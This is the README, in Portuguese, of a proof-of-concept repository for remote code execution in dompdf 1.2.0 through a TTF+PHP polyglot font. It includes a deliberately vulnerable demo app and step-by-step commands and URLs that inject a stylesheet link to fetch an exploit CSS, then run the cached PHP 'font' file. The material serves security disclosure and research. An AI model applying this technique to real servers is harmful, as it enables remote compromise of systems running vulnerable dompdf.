Exploit de RCE para dompdf

Este repositório contém uma aplicação de demonstração vulnerável que utiliza dompdf 1.2.0 e um exploit que alcança execução remota de código por meio de um arquivo poliglota ttf+php.

Para mais detalhes, visite https://positive.security/blog/dompdf-rce

Instruções

1. Execute a aplicação de demonstração

$ cd application
$ php -S localhost:9000

2. Execute o servidor do exploit

$ cd exploit
$ php -S localhost:9001

3. Dispare o exploit

http://localhost:9000/index.php?pdf&title=<link rel=stylesheet href='http://localhost:9001/exploit.css'>

4. Acesse o arquivo "fonte" php em cache e execute phpinfo()

http://localhost:9000/dompdf/lib/fonts/exploitfont_normal_3f83639933428d70e74a061f39009622.php

Observação: Caso esteja usando domínios ou portas diferentes, edite exploit/exploit.css de acordo e verifique application/dompdf/lib/fonts para obter o nome completo do arquivo de fonte.